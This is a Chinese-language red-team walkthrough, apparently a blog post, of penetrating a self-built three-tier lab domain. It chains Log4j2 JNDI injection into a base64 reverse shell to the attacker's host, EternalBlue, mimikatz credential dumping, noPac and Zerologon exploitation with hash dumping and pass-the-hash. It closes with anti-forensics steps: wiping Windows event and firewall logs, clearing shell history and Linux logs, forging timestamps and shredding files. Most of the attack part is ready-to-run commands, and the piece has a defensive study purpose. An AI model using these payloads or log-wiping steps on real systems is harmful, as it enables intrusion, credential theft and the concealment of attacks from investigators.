红队——多层内网环境渗透测试(二)

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Log4j2漏洞,MS17-010,CVE-2020-1472,CVE-2021-42287/CVE-2021-42278以及一些痕迹清理的思路等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

 测试环境搭建 

目标:获取域控服务器权限,拿到三个flag。

网络拓扑图

整个环境共三台目标机器,分别处在三层网络环境中:

DMZ区环境处在192.168.254.1/24网段;

第二层网络环境处在10.0.1.1/24网段;

第三层网络环境处在10.0.0.1/24网段;

DMZ区域的主机可以连通外网,其余网段主机均不可与外网连接。

用户 / 主机信息

kali

ip:192.168.254.130

ubantu16

ip:192.168.254.131 10.0.1.6

user:saul

pass:Saul123

域控

ip:10.0.0.12

hostname:AD

user : Administrator

pass : ASDqwe123

域个人机器

ip:10.0.1.7 10.0.0.7

hostname:win7

本地用户:hong:密码空

域账户:redteam/root:Red12345

 信息收集 

端口扫描/服务探测

代码语言:javascript
复制
nmap -sV -A  -T4 -p- 192.168.254.131

该主机开启了22,38080端口,38080端口扫描到存在web服务,尝试访问。

 漏洞探测利用 

漏洞探测

这里可以使用burp插件检测到存在Log4j2漏洞。

Log4j2漏洞探测payload:dnlog盲打。

代码语言:javascript
复制
curl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://k8v66b,dnslog.cn/aa}'(向右滑动,查看更多)

漏洞利用

利用Log4j2-RCE获得shell JNDI命令注入。

JNDI注入利用工具,开启LDAP服务,

代码语言:javascript
复制
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.68.254.130(向右滑动,查看更多)

同时开启nc监听,

代码语言:javascript
复制
nc -lvnp 9999

构造payload:

代码语言:javascript
复制
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd](向右滑动,查看更多)

填入实际参数并编码

代码语言:javascript
复制
## bash一句话反弹shellbash -i >& /dev/tcp/192.168.254.130/9999 0>&1
## base64编码YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx
## url编码+号YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx
## 构造payloadcurl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.254.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx}'

(向右滑动,查看更多)

Docker

发现一些问题,猜测可能是docker环境,验证如下:

代码语言:javascript
复制
cat /proc/1/cgroup

Docker runC漏洞逃逸,版本太高。runc < 1.0-rc6 (Docker < 18.09.2) ,版本太高。

容器也未设置privileged特权模式。

在容器中发现一个flag

代码语言:javascript
复制
/root/flag.txt

给出了一个账号密码,使用ssh尝试远程连接,

发现一个内网地址10.0.1.6,上传fscan,搭建http服务:

代码语言:javascript
复制
python -m http.server 8081

在ssh连接的shell上执行

代码语言:javascript
复制
wget 192.168.254.130:8081/fscan_amd64
代码语言:javascript
复制
./fscan_amd64 -h 10.0.1.1/24

直接执行的话会报权限不够,要先赋予权限

代码语言:javascript
复制
chmod +x fscan_amd64

MSF上线

制作MSF马:

代码语言:javascript
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.254.130 lport=4444 -f elf -o shell(向右滑动,查看更多)

然后MSF执行

代码语言:javascript
复制
use exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcp(向右滑动,查看更多)

远程执行,反弹shell

 内网渗透 

代理转发

frps.ini

代码语言:javascript
复制
frps.ini[common]bind_addr = 0.0.0.0        # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听bind_port = 8000           # 监听的端口,等待客户端连接 dashboard_addr = 0.0.0.0   # frp网站服务器的ip,可以访问登录dashboard_port = 7600       # frp网站服务器的端口,可以访问登录dashboard_user = root       # frp网站服务账号dashboard_pwd  = 123456    # frp网站服务密码token = 1q2w3e             # 客户端的连接密码heartbeat_timeout = 90     # 连接超时的时间max_pool_count = 5         # 允许连接的客户端数量
代码语言:javascript
复制
(向右滑动,查看更多)

frpc.ini

代码语言:javascript
复制
[common]tls_enable = trueserver_addr = 192.168.254.130         # vps 服务器地址 server_port = 8000          # vps服务器监听地址token = 1q2w3e              # 设置的密码 ,设置完流量加密,不好解。pool_count = 5            # 将提前建立连接,默认值为 0protocol = tcp              # 通信方式health_check_type = tcp    # frpc 将连接本地服务的端口以检测其健康状态health_check_interval_s = 100   # 健康检查时间间隔[proxies]remote_port = 6000  # 把流量转发到vps 那个端口 ,这个是重点等下会用到plugin = socks5        #plugin 表示为插件 use_encryption = trueuse_compression = true(向右滑动,查看更多)

攻击机:

代码语言:javascript
复制
./frps -c ./frps.ini

ssh远程机器上:

代码语言:javascript
复制
代码语言:javascript
复制
sudo ./frpc -c ./frpc.ini

MS17-010

上面fscan扫描时已经发现了存在MS17-010漏洞 10.0.1.7

设置代理

代码语言:javascript
复制
setg Proxies socks5:127.0.0.1:6000            # 设置代理set ReverseAllowProxy true                    # 允许反向连接(向右滑动,查看更多)

扫描漏洞

代码语言:javascript
复制
search ms17-010use auxiliary/scanner/smb/smb_ms17_010  # 选择扫描模块show options  # 查看模块配置set rhost 10.0.1.7 # 选择攻击iprun(向右滑动,查看更多)

验证存在,尝试进行攻击测试

代码语言:javascript
复制
search ms17-010use exploit/windows/smb/ms17_010_eternalblue    #攻击测试set payload windows/x64/meterpreter/bind_tcp    #这里正向使用的是正向shell,是基于我们可以访问到对方,也可以使用reverse_tcpset rhosts 10.0.1.7    #选择攻击ipset target 1    #这里我们将target进行设置为win7的,有时候不设置会攻击不成功,查看所有target的命令是:show targetsrun/exploit(向右滑动,查看更多)

通过MS7-010攻击成功。

域信息收集

尝试输入一些命令发现存在乱码

输入chcp 65001修改编码

代码语言:javascript
复制
systeminfo
代码语言:javascript
复制
net config workstation     # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user /domain     # 查看域用户net view /domain     # 查看有几个域net group /domain     # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group "domain admins" /domain     # 查看域管理员的名字net group "domain computers" /domain     # 查看域中的其他主机名net group "domain controllers" /domain     # 查看域控制器(可能有多台)
for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1|find /i "ttl="     # 查找域控ipnslookup redteam.lab    # 查找域控ip(向右滑动,查看更多)

域控IP极有可能为10.0.0.12

主机密码收集

抓取用户密码

代码语言:javascript
复制
load mimikatzcreds_all

成功抓取到域用户root的账号及密码。

 域渗透 

添加路由

使用代理之前,我们需要先添加路由,让MSF能够到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为是MSF起的监听端口,所以通过代理走的流量也能到达内网。

代码语言:javascript
复制
use auxiliary/server/socks_proxy

添加10.0.0.0/24的路由。

修改/etc/proxychains4.conf

代码语言:javascript
复制
sock5 0.0.0.0 1080

CVE-2021-42287/CVE-2021-42278

CVE-2021-42278利用AD域计算机账户认证漏洞,使用计算机账户的sAMAccountName冒充域控制器,结合CVE-2021-42287可以获取Kerberos特权属性证书 (PAC),从而使域内普通用户权限提升至域管理员权限。

如果获得了DC用户的TGT票据且域内有一台名为DC$域控,再将DC用户删除,此时使用该TGT去请求s4u2self,如果域控制器账户DC$存在,那么DC就能获得域控制器账户(机器用户DC$)的ST票证。

假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

如果想要深入了解具体原理的话可以去看看其他文章,攻击机不在域内,但是可以访问域控,该漏洞利用只需要一个域用户账户即可拿到 DC 的控制权限,有两种自动化脚本:

##攻击靶场
sam-the-admin.py

工具链接:https://github.com/WazeHell/sam-the-admin

该脚本在kali环境中运行,使用前先安装依赖包:pip3 install -r requirements.txt

获取shell

参考:python3 sam_the_admin.py "main/testuser:p@55word" -dc-ip 192.168.43.100 -shell

代码语言:javascript
复制
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

(向右滑动,查看更多)

注意:获取shell是通过impacket包中的smbexec.py,获取HASH是通过impacket包中的secretsdump.py,在sam-the-admin.py中有如下定义:

代码语言:javascript
复制
fbinary = "/usr/bin/impacket-smbexec"if options.dump:fbinary = "/usr/bin/impacket-secretsdump"

其中smbexec.py的路径是/usr/bin/impacket-smbexec,secretsdump.py的路径是/usr/bin/impacket-secretsdump,如果系统环境中这两个脚本不是此路径,则需要将其调用路径进行修改。

另外,虽然sam-the-admin.py帮助文档中有提到获取HASH和HASH传递认证方式,但是测试中都没有执行成功。

noPac.py

在sam-the-admin.py的基础上改进,工具链接:https://github.com/Ridter/noPac

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell

参考:

python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -shell

代码语言:javascript
复制
proxychains python3 noPac.py -use-ldap redteam/root:Red12345 -dc-ip 10.0.0.12 -shell

(向右滑动,查看更多)

注意log信息中提示Current ms-DS-MachineAccountQuota = 10,表示普通用户新建计算机账户上限为10 (10是默认值,如果修改为0则表示无法新建计算机账户,漏洞利用会失败),工具运行后会尝试将执行过程中新建的计算机账户删掉,但是只有域管权限才可以成功删除,因此在使用普通域用户权限时,每执行一次都会新建一个计算机账户,当数量达到上限10,漏洞利用会失败。

获取HASH

代码语言:javascript
复制
python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -dump -just-dc-ntlm(向右滑动,查看更多)

认证方式支持HASH传递

代码语言:javascript
复制
python3 noPac.py -use-ldap main.test.com/testuser -hashes :52888cf384b8d2e56e0cc2bb6b906f99 -dc-ip 192.168.43.100 -dump -just-dc-ntlm
(向右滑动,查看更多)
漏洞修复
补丁更新

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

临时防护措施

通过 域控的ADSI编辑器工具将AD的MAQ 配置为0,可中断此漏洞利用链.

CVE-2020-1472

该漏洞也被称为“Zerologon”,号称“3秒撸域控”.攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

##攻击靶场
代码语言:javascript
复制
域控ip:10.0.0.12hostname:DCuser : Administratorpass : ASDqwe123域:redteam.lab
检测漏洞是否存在,使用mimikatz。
代码语言:javascript
复制
lsadump::zerologon /target:10.0.0.12 /account:DC$
(向右滑动,查看更多)

显示OK,Vulnerable存在该漏洞,接下来进行利用!

置空
代码语言:javascript
复制
proxychains python3 cve-2020-1472-exploit.py DC 10.0.0.12
(向右滑动,查看更多)
dumphash
代码语言:javascript
复制
proxychains python3 secretsdump.py -no-pass -just-dc -just-dc-user administrator redteam.lab/DC$\@10.0.0.12(向右滑动,查看更多)
PTH

proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -hashes :88e4d9f............b29这里不方便复制省略了。

解决编码问题:
代码语言:javascript
复制
proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -codec 'gbk' -hashes :88e4d9f............b29(向右滑动,查看更多)
恢复

注意:get这里如果使用impacket包中的wmiexec.py脚本的话无法正常执行get命令,可以更换wmiexec.py脚本

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del system.save

del sam.save

del security.save

下载完会在kali的当前目录中存有下载下来的三个文件,然后本地执行。

代码语言:javascript
复制
proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL(向右滑动,查看更多)
代码语言:javascript
复制
proxychains python3 restorepassword.py redteam.red/owa\@owa -target-ip 10.10.10.8 -hexpass caffc4a02a2040858392e5909c5f0e528de461f22d3d0b7b6aed6b5a3544b1ea4f229155f11b2ed358b49c4db0d0f6fdc55139b6887f6184f380d41a1d2d1d75d4532c163d3ebe2b4b83ca0af27714cc4b8b312bc627ac6ffb8c489ece0fbb88f8a274f3e14a0aa70e2b2508a6dff8fffcc8825d8191835cc9cd7784cc88628ac44eb1baa9c8ee0438c3d49c953a59c52d24d09f31da9cef79e56b31d19d8c4257caac83062da4432b9b23d64312aca238c98b2b8808ed652f17c1a75b81059928bf4a8f5e9334cc0c37f07e74863902055b0e8b18de02d2d0dac450d51fd6e13639bc7ef887f244a7c298695284575b(向右滑动,查看更多)
参考上面代码。
代码语言:javascript
复制
proxychains python3 restorepassword.py redteam.lab/DC\@DC -target-ip 10.0.0.12 -hexpass   ....................(向右滑动,查看更多)

至此,密码恢复完成。

痕迹清理 

Windows

代码语言:javascript
复制
windows主机日志全量清理:PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"防火墙日志清理:cd logfiles/firewall del xxx.log(向右滑动,查看更多)

日志清理主要分为全量清理和定向清理,全量清理可以提升被溯源反制的难度,但其动作较大容易被发现;定向清理相对比较隐蔽,可以增加溯源反制的时间和成本,但可能清理不到位,增加被溯源反制的风险。实战中两者结合运用。注意:日志清理也是系统事件,所以会被记录,不管怎样,不存在完美的痕迹清理。

windows主机三大核心日志清理
代码语言:javascript
复制
## 全量清理PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"(向右滑动,查看更多)

清理前后:

防火墙日志清理
代码语言:javascript
复制
cd logfiles/firewalldel xxx.log
服务器日志清理
代码语言:javascript
复制
默认情况,在 %systemroot%\system32\logfles\ 下有FTP、IIS服务器等日志。FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\WWW日志默认位置:%sys temroot%\sys tem32\logfiles\w3svc1\Scheduler服务日志默认位置:%systemroot%\schedlgu.txtDNS日志默认位置:%systemroot%\system32\config如果发现这些日志被重定位,通过注册表 HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog 下很多的子表,查到一些日志的定位目录。(向右滑动,查看更多)
远程连接日志清理
代码语言:javascript
复制
# 进入Default.rdp所在路径cd %userprofile%\documents\# 使用attrib去掉Default.rdp文件的,系统文件属性(S);隐藏文件属性(H)attrib Default.rdp -s -h# 删除del Default.rdp(向右滑动,查看更多)
近期访问记录清理
代码语言:javascript
复制
# 用户最近访问过的文件和网页记录C:\Users\root\AppData\Local\Microsoft\Windows\History# 近期访问过的文件C:\Users\root\Recent(向右滑动,查看更多)
代码语言:javascript
复制
安全删除文件利用cipher覆写文件cipher /w:X # 其中X指盘符或文件具体位置cipher /w:c:\users\root\desktop\flag.txt
安全隐藏文件,Powershell修改文件时间戳。
代码语言:javascript
复制
Function edit_time($path){$date1 =Get-ChildItem |Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |Select LastWriteTime|Get-Random;$(Get-Item$path).lastaccesstime=$date1.LastWriteTime;$(Get-Item $path).creationtime=$date2.LastWriteTime ;$(Get-Item $path).lastwritetime=$date3.LastWriteTime};edit_time("C:\Users\root\desktop\flag.txt")(向右滑动,查看更多)

Linux

代码语言:javascript
复制
隐藏远程ssh登陆记录:ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
清理历史记录:history -c
当前shell终止history记录:set +o history 、 kill -9 $$
清理日志:ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog
隐藏文件修改时间:touch -r A B (修改系统时间后执行效果更好)(向右滑动,查看更多)
清理历史记录
代码语言:javascript
复制
history -c
清理日志文件
代码语言:javascript
复制
# 全量清理echo > /var/log/btmpecho > /var/log/lastlogcat /dev/null > /var/log/securecat /dev/null > /var/log/message# 部分清理sed -i '/你的IP/'d filename# 部分替换sed -i 's/1.1.1.1/2.2.2.2/g' /var/log/nginx/access.log# 例如ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog(向右滑动,查看更多)
安全删除文件,使用shred覆写文件。
代码语言:javascript
复制
shred -f -u -z -v -n 6 ew_for_linux64

 总结 

通过上述过程,我们对比如Log4j2漏洞,MS17-010漏洞,CVE-2020-1472漏洞,CVE-2021-42287/CVE-2021-42278漏洞有了新的认知或者理解,网络安全的学习离不开实际操作,想要搞明白漏洞更是要实际去复现学习。

最后希望大家提高安全意识,没有网络安全就没有国家安全。

精彩推荐